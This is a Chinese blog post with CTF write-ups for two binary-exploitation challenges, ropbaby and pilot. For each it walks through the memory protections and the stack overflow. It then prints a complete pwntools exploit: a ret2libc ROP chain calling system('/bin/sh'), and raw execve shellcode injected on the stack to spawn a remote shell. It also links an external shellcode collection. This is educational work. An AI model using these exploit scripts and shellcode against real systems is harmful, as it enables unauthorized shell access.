实验吧

  • 会飞的鱼
  • 5 Minutes
  • November 29, 2018

实验吧的re和pwn题汇总

1.ropbaby

这是defcon2015的一道题

先查看程序保护机制

开启了NX,无法写入shellcode,联系题目,想到用rop攻击

查看程序功能

这里功能2可以得出system函数的地址,大大降低了题目的难度

放到ida里查看源码

memcpy是危险函数,可以发现

savedregs距离ebp是0

64位程序int类型变量占8个字节长度,所以可以在此覆盖ret(64位是8个长度一定不要忘辽。。。)

查看字符串和调用函数,没有调用system(‘/bin/sh’),但是题目中给出看libc版本,而且题目中可以得出system的地址,只要找出system的偏移,就能求出libcbase,成功构建rop链

1.找system偏移

objdump -T libc-2.23.so | grep system

2.寻找‘/bin/sh’的偏移

strings -a -tx libc-2.23.so | grep /bin/sh

3.找gadgets的偏移

ROPgadget –binary libc-2.23.so –only “pop|ret”

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import*
p=remote('106.2.25.7','8004')

print(p.recv())
p.sendline('2')
p.sendline('system')
system_addr=int (p.recvline()[29::],16)
print("[+]system_addr:"+hex(system_addr))
base_addr=system_addr-0x45390
binsh_addr=base_addr+0x18cd17
print("[+]binsh: "+hex(binsh_addr))
gadget_addr=base_addr+0x21102
payload='a'*8+p64(gadget_addr)+p64(binsh_addr)+p64(system_addr)
p.sendline('3')
p.recvuntil('Enter bytes to send (max 1024): ')
p.sendline('32')
p.sendline(payload)
p.interactive()

2.pilot

思路:栈溢出,写入shellcode,控制程序执行shellcode

1.程序保护机制

未开NX可以往栈上写shellcode

2.ida查看源码,发现溢出点,并找出溢出长度为40

3.控制程序执行shellcode的关键是找出shellcode的地址,但是第一步中知道开启了RELRO,地址随机化,简单的是,给出了提示

exp:

1
2
3
4
5
6
7
8
9
10
11
from pwn import*

p=remote('106.2.25.7',8003)
p.recvuntil('Location:')
ret_addr=int(p.recvuntil('\n')[:-1],16)
#shellcode='\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload=shellcode+(40-len(shellcode))*'a'+p64(ret_addr)
p.recvuntil('Command:')
p.sendline(payload)
p.interactive()

两种shellcode都可以,附上shelloce集合

https://coding.net/u/yihangwang/p/shellcode_spider/git/tree/master/cache/Lin_x86-64/Linux_x86-64_-_execve__bin_bash__Shellcode__33_bytes